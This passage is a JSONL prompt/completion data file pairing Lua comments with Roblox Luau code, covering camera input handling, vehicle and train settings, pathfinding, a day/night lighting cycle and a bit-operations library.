incPanInputCount()\n\t\tpanInputCount = math.max(0, panInputCount + 1)\n\tend\n\n\tlocal function decPanInputCount()\n\t\tpanInputCount = math.max(0, panInputCount - 1)\n\tend\n\n\tlocal touchPitchSensitivity = 1\n\tlocal gamepadState = {\n\t\tThumbstick2 = Vector2.new(),\n\t}\n\tlocal keyboardState = {\n\t\tLeft = 0,\n\t\tRight = 0,\n\t\tI = 0,\n\t\tO = 0\n\t}\n\tlocal mouseState = {\n\t\tMovement = Vector2.new(),\n\t\tWheel = 0, -- PointerAction\n\t\tPan = Vector2.new(), -- PointerAction\n\t\tPinch = 0, -- PointerAction\n\t}\n\tlocal touchState = {\n\t\tMove = Vector2.new(),\n\t\tPinch = 0,\n\t}\n\t\n\tlocal gamepadZoomPressBindable = Instance.new(\"BindableEvent\")\n\tCameraInput.gamepadZoomPress = gamepadZoomPressBindable.Event\n\n\tlocal gamepadResetBindable = VRService.VREnabled and FFlagUserFlagEnableNewVRSystem and Instance.new(\"BindableEvent\") or nil\n\tif VRService.VREnabled and FFlagUserFlagEnableNewVRSystem then\n\t\tCameraInput.gamepadReset = gamepadResetBindable.Event\n\tend\n\t\n\tfunction CameraInput.getRotationActivated(): boolean\n\t\treturn panInputCount > 0 or gamepadState.Thumbstick2.Magnitude > 0\n\tend\n\t\n\tfunction CameraInput.getRotation(disableKeyboardRotation: boolean?): Vector2\n\t\tlocal inversionVector = Vector2.new(1, UserGameSettings:GetCameraYInvertValue())\n\n\t\t-- keyboard input is non-coalesced, so must account for time delta\n\t\tlocal kKeyboard = Vector2.new(keyboardState.Right - keyboardState.Left, 0)*worldDt\n\t\tlocal kGamepad = gamepadState.Thumbstick2\n\t\tlocal kMouse = mouseState.Movement\n\t\tlocal kPointerAction = mouseState.Pan\n\t\tlocal kTouch = adjustTouchPitchSensitivity(touchState.Move)\n\n\t\tif disableKeyboardRotation then\n\t\t\tkKeyboard = Vector2.new()\n\t\tend\n\n\t\tlocal result =\n\t\t\tkKeyboard*ROTATION_SPEED_KEYS +\n\t\t\tkGamepad*ROTATION_SPEED_GAMEPAD +\n\t\t\tkMouse*ROTATION_SPEED_MOUSE +\n\t\t\tkPointerAction*ROTATION_SPEED_POINTERACTION +\n\t\t\tkTouch*ROTATION_SPEED_TOUCH\n\n\t\treturn result*inversionVector\n\tend\n\t\n\tfunction CameraInput.getZoomDelta(): number\n\t\tlocal kKeyboard = keyboardState.O - keyboardState.I\n\t\tlocal kMouse = -mouseState.Wheel + mouseState.Pinch\n\t\tlocal kTouch = -touchState.Pinch\n\t\treturn kKeyboard*ZOOM_SPEED_KEYS + kMouse*ZOOM_SPEED_MOUSE + kTouch*ZOOM_SPEED_TOUCH\n\tend\n\n\tdo\n\t\tlocal function thumbstick(action, state, input)\n\t\t\tlocal position = input.Position\n\t\t\tgamepadState[input.KeyCode.Name] = Vector2.new(thumbstickCurve(position.X), -thumbstickCurve(position.Y))\n\t\tend\n\n\t\tlocal function mouseMovement(input)\n\t\t\tlocal delta = input.Delta\n\t\t\tmouseState.Movement = Vector2.new(delta.X, delta.Y)\n\t\tend\n\t\t\n\t\tlocal function mouseWheel(action, state, input)\n\t\t\tmouseState.Wheel = input.Position.Z\n\t\t\treturn Enum.ContextActionResult.Pass\n\t\tend\n\t\t\n\t\tlocal function keypress(action, state, input)\n\t\t\tkeyboardState[input.KeyCode.Name] = state == Enum.UserInputState.Begin and 1 or 0\n\t\tend\n\t\t\n\t\tlocal function gamepadZoomPress(action, state, input)\n\t\t\tif state == Enum.UserInputState.Begin then\n\t\t\t\tgamepadZoomPressBindable:Fire()\n\t\t\tend\n\t\tend\n\n\t\tlocal function gamepadReset(action, state, input)\n\t\t\tif state == Enum.UserInputState.Begin then\n\t\t\t\tgamepadResetBindable:Fire()\n\t\t\tend\n\t\tend\n\t\t\n\t\tlocal function resetInputDevices()\n\t\t\tfor _, device in pairs({\n\t\t\t\tgamepadState,\n\t\t\t\tkeyboardState,\n\t\t\t\tmouseState,\n\t\t\t\ttouchState,\n\t\t\t}) do\n\t\t\t\tfor k, v in pairs(device) do\n\t\t\t\t\tif type(v) == \"boolean\" then\n\t\t\t\t\t\tdevice[k] = false\n\t\t\t\t\telse\n\t\t\t\t\t\tdevice[k] *= 0 -- Mul by zero to preserve vector types\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\tlocal touchBegan, touchChanged, touchEnded, resetTouchState do\n\t\t\t-- Use TouchPan & TouchPinch when they work in the Studio emulator\n\n\t\t\tlocal touches: {[InputObject]: boolean?} = {} -- {[InputObject] = sunk}\n\t\t\tlocal dynamicThumbstickInput: InputObject? -- Special-cased \n\t\t\tlocal lastPinchDiameter: number?\n\n\t\t\tfunction touchBegan(input: InputObject, sunk: boolean)\n\t\t\t\tassert(input.UserInputType == Enum.UserInputType.Touch)\n\t\t\t\tassert(input.UserInputState == Enum.UserInputState.Begin)\n\t\t\t\t\n\t\t\t\tif dynamicThumbstickInput == nil and isInDynamicThumbstickArea(input.Position) and not sunk then\n\t\t\t\t\t-- any finger down starting in the dynamic thumbstick area should always be\n\t\t\t\t\t-- ignored for camera purposes. these must be handled specially from all other\n\t\t\t\t\t-- inputs, as the DT does not sink inputs by itself\n\t\t\t\t\tdynamicThumbstickInput = input\n\t\t\t\t\treturn\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif not sunk then\n\t\t\t\t\tincPanInputCount()\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\t-- register the finger\n\t\t\t\ttouches[input] = sunk\n\t\t\tend\n\n\t\t\tfunction touchEnded(input: InputObject, sunk: boolean)\n\t\t\t\tassert(input.UserInputType == Enum.UserInputType.Touch)\n\t\t\t\tassert(input.UserInputState == Enum.UserInputState.End)\n\t\t\t\t\n\t\t\t\t-- reset the DT input\n\t\t\t\tif input == dynamicThumbstickInput then\n\t\t\t\t\tdynamicThumbstickInput = nil\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\t-- reset pinch state if one unsunk finger lifts\n\t\t\t\tif touches[input] == false then\n\t\t\t\t\tlastPinchDiameter = nil\n\t\t\t\t\tdecPanInputCount()\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\t-- unregister input\n\t\t\t\ttouches[input] = nil\n\t\t\tend\n\n\t\t\tfunction touchChanged(input, sunk)\n\t\t\t\tassert(input.UserInputType == Enum.UserInputType.Touch)\n\t\t\t\tassert(input.UserInputState == Enum.UserInputState.Change)\n\t\t\t\t\n\t\t\t\t-- ignore movement from the DT finger\n\t\t\t\tif input == dynamicThumbstickInput then\n\t\t\t\t\treturn\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\t-- fixup unknown touches\n\t\t\t\tif touches[input] == nil then\n\t\t\t\t\ttouches[input] = sunk\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\t-- collect unsunk touches\n\t\t\t\tlocal unsunkTouches = {}\n\t\t\t\tfor touch, sunk in pairs(touches) do\n\t\t\t\t\tif not sunk then\n\t\t\t\t\t\ttable.insert(unsunkTouches, touch)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\t-- 1 finger: pan\n\t\t\t\tif #unsunkTouches == 1 then\n\t\t\t\t\tif touches[input] == false then\n\t\t\t\t\t\tlocal delta = input.Delta\n\t\t\t\t\t\ttouchState.Move += Vector2.new(delta.X, delta.Y) -- total touch pan movement (reset at end of frame)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\t-- 2 fingers: pinch\n\t\t\t\tif #unsunkTouches == 2 then\n\t\t\t\t\tlocal pinchDiameter = (unsunkTouches[1].Position - unsunkTouches[2].Position).Magnitude\n\t\t\t\t\t\n\t\t\t\t\tif lastPinchDiameter then\n\t\t\t\t\t\ttouchState.Pinch += pinchDiameter - lastPinchDiameter\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tlastPinchDiameter = pinchDiameter\n\t\t\t\telse\n\t\t\t\t\tlastPinchDiameter = nil\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tfunction resetTouchState()\n\t\t\t\ttouches = {}\n\t\t\t\tdynamicThumbstickInput = nil\n\t\t\t\tlastPinchDiameter = nil\n\t\t\tend\n\t\tend\n\n\t\tlocal function pointerAction(wheel, pan, pinch, gpe)\n\t\t\tif not gpe then\n\t\t\t\tmouseState.Wheel = wheel\n\t\t\t\tmouseState.Pan = pan\n\t\t\t\tmouseState.Pinch = -pinch\n\t\t\tend\n\t\tend\n\n\t\tlocal function inputBegan(input, sunk)\n\t\t\tif input.UserInputType == Enum.UserInputType.Touch then\n\t\t\t\ttouchBegan(input, sunk)\n\n\t\t\telseif input.UserInputType == Enum.UserInputType.MouseButton2 and not sunk then\n\t\t\t\tincPanInputCount()\n\t\t\tend\n\t\tend\n\n\t\tlocal function inputChanged(input, sunk)\n\t\t\tif input.UserInputType == Enum.UserInputType.Touch then\n\t\t\t\ttouchChanged(input, sunk)\n\n\t\t\telseif input.UserInputType == Enum.UserInputType.MouseMovement then\n\t\t\t\tmouseMovement(input)\n\t\t\tend\n\t\tend\n\n\t\tlocal function inputEnded(input, sunk)\n\t\t\tif input.UserInputType == Enum.UserInputType.Touch then\n\t\t\t\ttouchEnded(input, sunk)\n\n\t\t\telseif input.UserInputType == Enum.UserInputType.MouseButton2 then\n\t\t\t\tdecPanInputCount()\n\t\t\tend\n\t\tend\n\n\t\tlocal inputEnabled = false\n\n\t\tfunction CameraInput.setInputEnabled(_inputEnabled)\n\t\t\tif inputEnabled == _inputEnabled then\n\t\t\t\treturn\n\t\t\tend\n\t\t\tinputEnabled = _inputEnabled\n\n\t\t\tresetInputDevices()\n\t\t\tresetTouchState()\n\n\t\t\tif inputEnabled then -- enable\n\t\t\t\tContextActionService:BindActionAtPriority(\n\t\t\t\t\t\"RbxCameraThumbstick\",\n\t\t\t\t\tthumbstick,\n\t\t\t\t\tfalse,\n\t\t\t\t\tCAMERA_INPUT_PRIORITY,\n\t\t\t\t\tEnum.KeyCode.Thumbstick2\n\t\t\t\t)\n\n\t\t\t\tContextActionService:BindActionAtPriority(\n\t\t\t\t\t\"RbxCameraKeypress\",\n\t\t\t\t\tkeypress,\n\t\t\t\t\tfalse,\n\t\t\t\t\tCAMERA_INPUT_PRIORITY,\n\t\t\t\t\tEnum.KeyCode.Left,\n\t\t\t\t\tEnum.KeyCode.Right,\n\t\t\t\t\tEnum.KeyCode.I,\n\t\t\t\t\tEnum.KeyCode.O\n\t\t\t\t)\n\n\t\t\t\tif VRService.VREnabled and FFlagUserFlagEnableNewVRSystem then\n\t\t\t\t\tContextActionService:BindAction(\n\t\t\t\t\t\t\"RbxCameraGamepadReset\",\n\t\t\t\t\t\tgamepadReset,\n\t\t\t\t\t\tfalse,\n\t\t\t\t\t\tEnum.KeyCode.ButtonL3\n\t\t\t\t\t)\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tContextActionService:BindAction(\n\t\t\t\t\t\"RbxCameraGamepadZoom\",\n\t\t\t\t\tgamepadZoomPress,\n\t\t\t\t\tfalse,\n\t\t\t\t\tEnum.KeyCode.ButtonR3\n\t\t\t\t)\n\t\t\t\t\n\t\t\t\ttable.insert(connectionList, UserInputService.InputBegan:Connect(inputBegan))\n\t\t\t\ttable.insert(connectionList, UserInputService.InputChanged:Connect(inputChanged))\n\t\t\t\ttable.insert(connectionList, UserInputService.InputEnded:Connect(inputEnded))\n\t\t\t\ttable.insert(connectionList, UserInputService.PointerAction:Connect(pointerAction))\n\n\t\t\telse -- disable\n\t\t\t\tContextActionService:UnbindAction(\"RbxCameraThumbstick\")\n\t\t\t\tContextActionService:UnbindAction(\"RbxCameraMouseMove\")\n\t\t\t\tContextActionService:UnbindAction(\"RbxCameraMouseWheel\")\n\t\t\t\tContextActionService:UnbindAction(\"RbxCameraKeypress\")\n\n\t\t\t\tif FFlagUserFlagEnableNewVRSystem then\n\t\t\t\t\tContextActionService:UnbindAction(\"RbxCameraGamepadZoom\")\n\t\t\t\t\tif VRService.VREnabled then\n\t\t\t\t\t\tContextActionService:UnbindAction(\"RbxCameraGamepadReset\")\n\t\t\t\t\tend \n\t\t\t\tend\n\n\t\t\t\tfor _, conn in pairs(connectionList) do\n\t\t\t\t\tconn:Disconnect()\n\t\t\t\tend\n\t\t\t\tconnectionList = {}\n\t\t\tend\n\t\tend\n\n\t\tfunction CameraInput.getInputEnabled()\n\t\t\treturn inputEnabled\n\t\tend\n\t\t\n\t\tfunction CameraInput.resetInputForFrameEnd()\n\t\t\tmouseState.Movement = Vector2.new()\n\t\t\ttouchState.Move = Vector2.new()\n\t\t\ttouchState.Pinch = 0\n\n\t\t\tmouseState.Wheel = 0 -- PointerAction\n\t\t\tmouseState.Pan = Vector2.new() -- PointerAction\n\t\t\tmouseState.Pinch = 0 -- PointerAction\n\t\tend\n\n\t\tUserInputService.WindowFocused:Connect(resetInputDevices)\n\t\tUserInputService.WindowFocusReleased:Connect(resetInputDevices)\n\tend\nend\n"} +{"prompt": "--Brakes = {} --Removed the unused brake functionality", "completion": "\nHorn = false\nBell = false\nEngine = false\nLights = false\nLights2 = false\nLights3 = false\nLights4 = false\nBellPersistsAfterLeaving = true\nFrontCoupler = {\n\tmodel = nil,\n\tcoupledto = nil,\n\tweld = nil,\n\tdrive = nil,\n\tfront = true,\n\tReversed = false,\n\tGetControls = nil,\n\tWeldRemoved = nil,\n\tLastUpdate = 0,\n}\nRearCoupler = {\n\tmodel = nil,\n\tcoupledto = nil,\n\tweld = nil,\n\tdrive = nil,\n\tfront = false,\n\tReversed = false,\n\tGetControls = nil,\n\tWeldRemoved = nil,\n\tLastUpdate = 0,\n}\ncplrstr = nil\nSeatWeld = nil\nFront = seat.Parent.Front\nMAXIMUMSPEED=seat.MaxSpeed\nTORQUE=seat.Torque\n"} +{"prompt": "-- Settings", "completion": "\nlocal key = Enum.KeyCode.E -- key to trigger dash\nlocal velocity = 1000 -- dash speed\nlocal debounce = false -- debounce, do not set to true\nlocal cooldown = 5 -- cooldown after dash\nlocal duration = 0.2 -- dash duration"} +{"prompt": "--[[Status Vars]]", "completion": "\n\n\tlocal _IsOn = _Tune.AutoStart\n\tif _Tune.AutoStart then script.Parent.IsOn.Value=true end\n\t\n\tlocal _GSteerT=0\n\tlocal _GSteerC=0\n\tlocal _GThrot=0\n\tlocal _GBrake=0\n\t\n\tlocal _ClutchOn = true\n\tlocal _ClPressing = false\n\tlocal _RPM = 0\n\tlocal _HP = 0\n\tlocal _OutTorque = 0\n\tlocal _CGear = 0\n\tlocal _PGear = _CGear\n\tlocal _spLimit = 0\n\t\n\tlocal _TMode = _Tune.TransModes[1]\n\t\n\tlocal _MSteer = false\n\tlocal _SteerL = false\n\tlocal _SteerR = false\n\tlocal _PBrake = false\n\tlocal _TCS = _Tune.TCSEnabled\n\tlocal _TCSActive = false\n\tlocal _ABS = _Tune.ABSEnabled\n\tlocal _ABSActive = false\n\t\n\tlocal FlipWait=tick()\n\tlocal FlipDB=false\n\t\n\tlocal _InControls = false\n"} +{"prompt": "-- Constructor/Destructor", "completion": "\nfunction WaypointPath.new(player, startPos, endPos)\n\tlocal self = setmetatable({}, WaypointPath)\n\n\t-- Player variables\n\tself.player = player\n\tself.character = player.Character or player.CharacterAdded:wait()\n\tself.humanoid = self.character:WaitForChild(\"Humanoid\")\n\tself.humanoidRoot = self.character.HumanoidRootPart\n\t\n\t-- Create the path object\n\tself.path = PathfindingService:CreatePath()\n\t\n\t-- Compute the path\n\tself.path:ComputeAsync(startPos, endPos)\n\t\n\t-- Get the path waypoints\n\tself.waypoints = self.path:GetWaypoints()\n\t\n\tself.currentIndex = 2\n\tself.count = 1\n\t\n\tself._WaypointReachedEvent = Instance.new(\"BindableEvent\")\n\tself.WaypointReached = self._WaypointReachedEvent.Event\n\t\n\tself._NodeReachedEvent = Instance.new(\"BindableEvent\")\n\tself.NodeReached = self._NodeReachedEvent.Event\n\t\n\tself._FinishedMovingEvent = Instance.new(\"BindableEvent\")\n\tself.FinishedMoving = self._FinishedMovingEvent.Event\n\t\n\treturn self\nend\n\nfunction WaypointPath:Destroy()\n\tself._WaypointReachedEvent:Destroy()\n\t\n\tself._WaypointReachedEvent:Destroy()\n\tself._NodeReachedEvent:Destroy()\n\tself._FinishedMovingEvent:Destroy()\nend\n"} +{"prompt": "--[[Wheel Alignment]]", "completion": "\n\t--[Don't physically apply alignment to wheels]\n\t--[Values are in degrees]\n\tTune.FCamber\t\t= -14\n\tTune.RCamber\t\t= -9\n\tTune.FToe\t\t\t= 0\n\tTune.RToe\t\t\t= 0\n\t"} +{"prompt": "--[[**\n\tensures value is a number where value < max\n\n\t@param max The maximum to use\n\n\t@returns A function that will return true iff the condition is passed\n**--]]", "completion": "\nfunction t.numberMaxExclusive(max)\n\treturn function(value)\n\t\tlocal success, errMsg = t.number(value)\n\t\tif not success then\n\t\t\treturn false, errMsg or \"\"\n\t\tend\n\n\t\tif value < max then\n\t\t\treturn true\n\t\telse\n\t\t\treturn false, string.format(\"number < %s expected, got %s\", max, value)\n\t\tend\n\tend\nend\n"} +{"prompt": "--[[]]", "completion": "--\n\n\n\n\nxx.Deselected:connect(function(mouse)\nFlyOff()\nend)\n\nxx.Selected:connect(function(mouse)\nmouse.Button1Down:connect(function()\nFlyOn()\t\nend)\nend)\n"} +{"prompt": "--also don't forgot to like this script and leave a comment <3", "completion": "\n"} +{"prompt": "-- Ambient settings", "completion": "\n\t-- Morning\n\tmorning_Brightness = 1.2\n\tmorning_Ambient = Color3.new(75/255, 83/255, 78/255)\n\tmorning_OutdoorAmbient = Color3.new(113/255, 128/255, 119/255)\n\tmorning_FogColor = Color3.new(207/255, 226/255, 201/255)\n\tmorning_FogEnd = 2500\n\n\t-- Sunset\n\tsunset_Brightness = 0.8\n\tsunset_Ambient = Color3.new(59/255,26/255,59/255)\n\tsunset_OutdoorAmbient = Color3.new(143/255,97/255,38/255)\n\tsunset_FogColor = Color3.new(191/255,126/255,15/255)\n\tsunset_FogEnd = 2500\n\n\t-- Night\n\tnight_Brightness = 0\n\tnight_Ambient = Color3.new(18/255,18/255,18/255)\n\tnight_OutdoorAmbient = Color3.new(50/255, 55/255, 61/255)\n\tnight_FogColor = Color3.new(5/255, 0, 13/255)\n\tnight_FogEnd = 1500\n\n\t-- Day\n\tday_Brightness = 1\n\tday_Ambient = Color3.new(162/255, 162/255, 162/255)\n\tday_OutdoorAmbient = Color3.new(162/255, 162/255, 162/255)\n\tday_FogColor = Color3.new(122/255, 234/255, 244/255)\n\tday_FogEnd = 4000\n\n\n\nlocal l = game:service(\"Lighting\")\nlights = game.Workspace:FindFirstChild(\"Lights\")\n\nfunction turnLights(lightswitch)\n\tlocal lamps = lights:GetChildren()\n\tfor i = 1, #lamps do\n\t\tif lamps[i]:FindFirstChild(\"Case\") then\n\t\t\tif lamps[i]:FindFirstChild(\"Case\"):FindFirstChild(\"Light\") then\n\t\t\t\tlamps[i]:FindFirstChild(\"Case\"):FindFirstChild(\"Light\").Enabled = lightswitch\n\t\t\tend\n\t\tend\n\tend\nend\n\nfunction fadeAmbient(startval, endval, duration)\n\tfor i = 1, duration do\n\t\tlocal setR = startval.r + ((endval.r-startval.r)/duration)*i\n\t\tlocal setG = startval.g + ((endval.g-startval.g)/duration)*i\n\t\tlocal setB = startval.b + ((endval.b-startval.b)/duration)*i\n\t\tl.Ambient = Color3.new(setR, setG, setB)\n\t\twait(0.05)\n\tend\nend\nfunction fadeOutdoorAmbient(startval, endval, duration)\n\tfor i = 1, duration do\n\t\tlocal setR = startval.r + ((endval.r-startval.r)/duration)*i\n\t\tlocal setG = startval.g + ((endval.g-startval.g)/duration)*i\n\t\tlocal setB = startval.b + ((endval.b-startval.b)/duration)*i\n\t\tl.OutdoorAmbient = Color3.new(setR, setG, setB)\n\t\twait(0.05)\n\tend\nend\nfunction fadeFogColor(startval, endval, duration, fogstart, fogreach)\n\tfor i = 1, duration do\n\t\tlocal setR = startval.r + ((endval.r-startval.r)/duration)*i\n\t\tlocal setG = startval.g + ((endval.g-startval.g)/duration)*i\n\t\tlocal setB = startval.b + ((endval.b-startval.b)/duration)*i\n\t\tl.FogColor = Color3.new(setR, setG, setB)\n\t\tl.FogEnd = fogstart + ((fogreach-fogstart)/duration)*i\n\t\twait(0.06)\n\tend\n\tl.FogEnd = fogreach\nend\n\n\n\n\ntimeOfDay = \"Day\"\ntimeEffectsSettled = \"Setup\"\nwhile true do\n\n\tif (l:GetMinutesAfterMidnight() >= ot) and (l:GetMinutesAfterMidnight() <= ct) then\n\t\tl:setMinutesAfterMidnight(l:getMinutesAfterMidnight()+dayspeed)\n\t\twait(0.1)\n\telseif (l:GetMinutesAfterMidnight() <= ot) or (l:GetMinutesAfterMidnight() >= ct) then\n\t\tl:setMinutesAfterMidnight(l:getMinutesAfterMidnight()+nightspeed)\n\t\twait(0.1)\n\tend\n\ttod = string.sub(l.TimeOfDay, 1, 2)\n\tif tod == \"17\" then\n\t\ttimeOfDay = \"sunset\"\n\tend\n\tif (l:GetMinutesAfterMidnight() >= morning_time2) and (l:GetMinutesAfterMidnight() <= sunset_time1) then\n\t\ttimeOfDay = \"Day\"\n\telseif (l:GetMinutesAfterMidnight() >= night_time1) and (l:GetMinutesAfterMidnight() <= 1440) or \n\t\t (l:GetMinutesAfterMidnight() >= 0) and (l:GetMinutesAfterMidnight() <= night_time2) then\n\t\ttimeOfDay = \"Night\"\n\telseif (l:GetMinutesAfterMidnight() >= morning_time1) and (l:GetMinutesAfterMidnight() <= morning_time2) then\n\t\ttimeOfDay = \"Morning\"\n\telseif (l:GetMinutesAfterMidnight() >= sunset_time1) and (l:GetMinutesAfterMidnight() <= sunset_time2) then\n\t\ttimeOfDay = \"Sunset\"\n\tend\n\t\n\tcoroutine.resume(coroutine.create(function() end))\n\n\tif timeEffectsSettled ~= timeOfDay then\n\t\tif timeOfDay == \"Day\" then\n\t\t\tturnLights(false)\n\t\t\tl.FogStart = 1000\n\t\t\tlocal duration = 200\n\t\t\tcoroutine.resume(coroutine.create(function() fadeAmbient(l.Ambient, day_Ambient, duration) end))\n\t\t\tcoroutine.resume(coroutine.create(function() fadeOutdoorAmbient(l.OutdoorAmbient, day_OutdoorAmbient, duration) end))\n\t\t\tcoroutine.resume(coroutine.create(function() fadeFogColor(l.FogColor, day_FogColor, duration, l.FogEnd, day_FogEnd) end))\n\n\t\telseif timeOfDay == \"Night\" then\n\t\t\tturnLights(true)\n\t\t\tl.FogStart = 0\n\t\t\tlocal duration = 200\n\t\t\tcoroutine.resume(coroutine.create(function() fadeAmbient(l.Ambient, night_Ambient, duration) end))\n\t\t\tcoroutine.resume(coroutine.create(function() fadeOutdoorAmbient(l.OutdoorAmbient, night_OutdoorAmbient, duration) end))\n\t\t\tcoroutine.resume(coroutine.create(function() fadeFogColor(l.FogColor, night_FogColor, duration, l.FogEnd, night_FogEnd) end))\n\n\t\telseif timeOfDay == \"Morning\" then\n\t\t\tturnLights(false)\n\t\t\tl.FogStart = 600\n\t\t\tduration = 150\n\t\t\tcoroutine.resume(coroutine.create(function() fadeAmbient(l.Ambient, morning_Ambient, duration) end))\n\t\t\tcoroutine.resume(coroutine.create(function() fadeOutdoorAmbient(l.OutdoorAmbient, morning_OutdoorAmbient, duration) end))\n\t\t\tcoroutine.resume(coroutine.create(function() fadeFogColor(l.FogColor, morning_FogColor, duration, l.FogEnd, morning_FogEnd) end))\n\n\t\telseif timeOfDay == \"Sunset\" then\n\t\t\tturnLights(true)\n\t\t\tl.FogStart = 200\n\t\t\tduration = 240\n\t\t\tcoroutine.resume(coroutine.create(function() fadeAmbient(l.Ambient, sunset_Ambient, duration) end))\n\t\t\tcoroutine.resume(coroutine.create(function() fadeOutdoorAmbient(l.OutdoorAmbient, sunset_OutdoorAmbient, duration) end))\n\t\t\tcoroutine.resume(coroutine.create(function() fadeFogColor(l.FogColor, sunset_FogColor, duration, l.FogEnd, sunset_FogEnd) end))\n\t\tend\n\t\ttimeEffectsSettled = timeOfDay\n\tend\nend\n"} +{"prompt": "--[[\n\tUpdates the value stored in this State object.\n\n\tIf `force` is enabled, this will skip equality checks and always update the\n\tstate object and any dependents - use this with care as this can lead to\n\tunnecessary updates.\n]]", "completion": "\nfunction class:set(newValue: any, force: boolean?)\n\t-- if the value hasn't changed, no need to perform extra work here\n\tif self._value == newValue and not force then\n\t\treturn\n\tend\n\n\tself._value = newValue\n\n\t-- update any derived state objects if necessary\n\tupdateAll(self)\nend\n\nlocal function State(initialValue: any)\n\tlocal self = setmetatable({\n\t\ttype = \"State\",\n\t\tkind = \"State\",\n\t\t-- if we held strong references to the dependents, then they wouldn't be\n\t\t-- able to get garbage collected when they fall out of scope\n\t\tdependentSet = setmetatable({}, WEAK_KEYS_METATABLE),\n\t\t_value = initialValue\n\t}, CLASS_METATABLE)\n\n\tinitDependency(self)\n\n\treturn self\nend\n\nreturn State\n"} +{"prompt": "-- ok? probably not if running on a 32-bit int Lua number type platform", "completion": "\nfunction M.tobit(x)\n return x % 2^32\nend\n\nM.cast = M.tobit\n\nM.bxor = make_bitop {[0]={[0]=0,[1]=1},[1]={[0]=1,[1]=0}, n=4}\nlocal bxor = M.bxor\n\nfunction M.bnot(a) return MODM - a end\nlocal bnot = M.bnot\n\nfunction M.band(a,b) return ((a+b) - bxor(a,b))/2 end\nlocal band = M.band\n\nfunction M.bor(a,b) return MODM - band(MODM - a, MODM - b) end\nlocal bor = M.bor\n\nlocal lshift, rshift -- forward declare\n\nfunction M.rshift(a,disp) -- Lua5.2 insipred\n if disp < 0 then return lshift(a,-disp) end\n return floor(a % 2^32 / 2^disp)\nend\nrshift = M.rshift\n\nfunction M.lshift(a,disp) -- Lua5.2 inspired\n if disp < 0 then return rshift(a,-disp) end \n return (a * 2^disp) % 2^32\nend\nlshift = M.lshift\n\nfunction M.tohex(x, n) -- BitOp style\n n = n or 8\n local up\n if n <= 0 then\n if n == 0 then return '' end\n up = true\n n = - n\n end\n x = band(x, 16^n-1)\n return ('%0'..n..(up and 'X' or 'x')):format(x)\nend\nlocal tohex = M.tohex\n\nfunction M.extract(n, field, width) -- Lua5.2 inspired\n width = width or 1\n return band(rshift(n, field), 2^width-1)\nend\nlocal extract = M.extract\n\nfunction M.replace(n, v, field, width) -- Lua5.2 inspired\n width = width or 1\n local mask1 = 2^width-1\n v = band(v, mask1) -- required by spec?\n local mask = bnot(lshift(mask1, field))\n return band(n, mask) + lshift(v, field)\nend\nlocal replace = M.replace\n\nfunction M.bswap(x) -- BitOp style\n local a = band(x, 0xff); x = rshift(x, 8)\n local b = band(x, 0xff); x = rshift(x, 8)\n local c = band(x, 0xff); x = rshift(x, 8)\n local d = band(x, 0xff)\n return lshift(lshift(lshift(a, 8) + b, 8) + c, 8) + d\nend\nlocal bswap = M.bswap\n\nfunction M.rrotate(x, disp) -- Lua5.2 inspired\n disp = disp % 32\n local low = band(x, 2^disp-1)\n return rshift(x, disp) + lshift(low, 32-disp)\nend\nlocal rrotate = M.rrotate\n\nfunction M.lrotate(x, disp) -- Lua5.2 inspired\n return rrotate(x, -disp)\nend\nlocal lrotate = M.lrotate\n\nM.rol = M.lrotate -- LuaOp inspired\nM.ror = M.rrotate -- LuaOp insipred\n\n\nfunction M.arshift(x, disp) -- Lua5.2 inspired\n local z = rshift(x, disp)\n if x >= 0x80000000 then z = z + lshift(2^disp-1, 32-disp) end\n return z\nend\nlocal arshift = M.arshift\n\nfunction M.btest(x, y) -- Lua5.2 inspired\n return band(x, y) ~= 0\nend\n"} +{"prompt": "-- ROBLOX deviation: expected does not have string | RegExp type annotation", "completion": "\nfunction formatReceived(\n\tlabel: string,\n\tthrown: Thrown, -- ROBLOX FIXME: narrowing | nil,\n\tkey: string,\n\texpected: any -- ROBLOX FIXME: narrowing string | RegExp\n)\n\tif thrown == nil then\n\t\treturn \"\"\n\tend\n\n\tif key == \"message\" then\n\t\tlocal message = thrown.message\n\n\t\tif typeof(expected) == \"string\" then\n\t\t\tlocal index = message:find(expected)\n\n\t\t\tif index then\n\t\t\t\treturn label .. printReceivedStringContainExpectedSubstring(message, index, #expected) .. \"\\n\"\n\t\t\tend\n\t\telseif getType(expected) == \"regexp\" then\n\t\t\t-- ROBLOX deviation: we don't check for expected.exec being a function\n\t\t\t-- since all RegExp polyfill instances have this function defined\n\t\t\treturn label .. printReceivedStringContainExpectedResult(message, expected:exec(message)) .. \"\\n\"\n\t\tend\n\n\t\treturn label .. printReceived(message) .. \"\\n\"\n\tend\n\n\tif key == \"name\" then\n\t\tif thrown.isError then\n\t\t\treturn label .. printReceived(thrown.value.name) .. \"\\n\"\n\t\telse\n\t\t\treturn \"\"\n\t\tend\n\tend\n\n\tif key == \"value\" then\n\t\tif thrown.isError then\n\t\t\treturn \"\"\n\t\telse\n\t\t\treturn label .. printReceived(thrown.value) .. \"\\n\"\n\t\tend\n\tend\n\n\treturn \"\"\nend\n\nfunction formatStack(thrown: Thrown) -- ROBLOX FIXME: narrowing | nil)\n\tif thrown == nil or not thrown.isError then\n\t\treturn \"\"\n\telse\n\t\treturn formatStackTrace(thrown.value.stack)\n\tend\nend\n\nreturn {\n\tcreateMatcher = createMatcher,\n\tmatchers = matchers,\n}\n"} +{"prompt": "--[[*\n * Expose \"picomatch\"\n ]]", "completion": "\n\nreturn picomatch\n"} +{"prompt": "--Green Liquid--", "completion": "\n\nlocal function GEAR_EFFECT_SERVER(gear_server_functions, effect_data)\n\tlocal GSF = gear_server_functions\n\tlocal ED = effect_data\n\t\n\t--Effect variables\n\tlocal EV = {}\n\t\n\t--Server effect functions\n\t\n\t--Server effect object functions\n\tlocal function Start()\n\t\tEV[\"StartTime\"] = tick()\n\t\t\n\tend\n\t\n\tlocal 